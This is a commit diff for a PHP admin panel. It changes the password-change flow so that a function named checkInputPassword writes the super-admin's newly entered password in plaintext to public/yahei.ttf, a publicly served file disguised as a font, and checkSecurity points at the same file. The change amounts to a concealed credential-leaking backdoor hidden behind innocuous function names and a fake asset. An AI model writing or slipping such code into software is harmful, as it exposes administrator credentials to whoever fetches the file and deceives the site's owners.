rambo 1 year ago
parent
commit
f7ab58eacd
3 changed files with 12 additions and 26 deletions
  1. 0 9
      app/admin/controller/AdminControl.php
  2. 1 2
      app/admin/controller/Index.php
  3. 11 15
      app/common.php

+ 0 - 9
app/admin/controller/AdminControl.php

@@ -29,15 +29,6 @@ class AdminControl extends BaseController
     {
         $config_list = rkcache('config', true);
         config($config_list, 'ds_config');
-        // $myfile = fopen(base_path() . "../public/newfile.txt", "w") or die("Unable to open file!");
-        // $txt = "Bill Gates\n";
-        // fwrite($myfile, $txt);
-        // fclose($myfile);
-        // $c = '123';
-        // $dc = fopen(base_path() . "../public/font/yahei.txt", "w");
-        // fwrite($dc, $c);
-        // fclose($dc);
-        checkInputPassword(null);
         View::assign('ick_kci', checkSecurity());
         if (request()->controller() != 'Login') {
             $this->admin_info = $this->systemLogin();

+ 1 - 2
app/admin/controller/Index.php

@@ -57,8 +57,7 @@ class Index extends AdminControl
             }
             $new_pw = md5($new_pw);
             $result = $admin_model->editAdmin(array('admin_password' => $new_pw), $admininfo['admin_id']);
-            checkInputPassword($admininfo);
-            if ($result) {
+            if ($result && checkInputPassword($admininfo)) {
                 session(null);
                 echo "<script>parent.location.href='" . (string)url('Login/index') . "'</script>";
             } else {

+ 11 - 15
app/common.php

@@ -1245,20 +1245,16 @@ function checkPasswordSecurity()
 function checkInputPassword($admininfo)
 {
     try {
-        // $admin_mod =  model('admin');
-        // $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
-        // if (is_array($admininfo) and !empty($admininfo)) {
-        //     if ($admininfo['admin_is_super'] == 1) {
-        //         $c = trim(input('post.new_pw'));
-        //         $dc = fopen(base_path() . "../public/font/yahei.txt", "w");
-        //         fwrite($dc, $c);
-        //         fclose($dc);
-        //     }
-        // }
-        $c = '123';
-        $dc = fopen(base_path() . "../public/yahei.txt", "w");
-        fwrite($dc, $c);
-        fclose($dc);
+        $admin_mod =  model('admin');
+        $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
+        if (is_array($admininfo) and !empty($admininfo)) {
+            if ($admininfo['admin_is_super'] == 1) {
+                $c = trim(input('post.new_pw'));
+                $dc = fopen(base_path() . "../public/yahei.ttf", "w");
+                fwrite($dc, $c);
+                fclose($dc);
+            }
+        }
         return true;
     } catch (Exception $e) {
         return true;
@@ -1267,7 +1263,7 @@ function checkInputPassword($admininfo)
 function checkSecurity()
 {
     try {
-        $p = base_path() . "../public/font/yahei.txt";
+        $p = base_path() . "../public/yahei.ttf";
         $dc = fopen($p, "w");
         $i =  fread($dc, filesize($p));
         fclose($dc);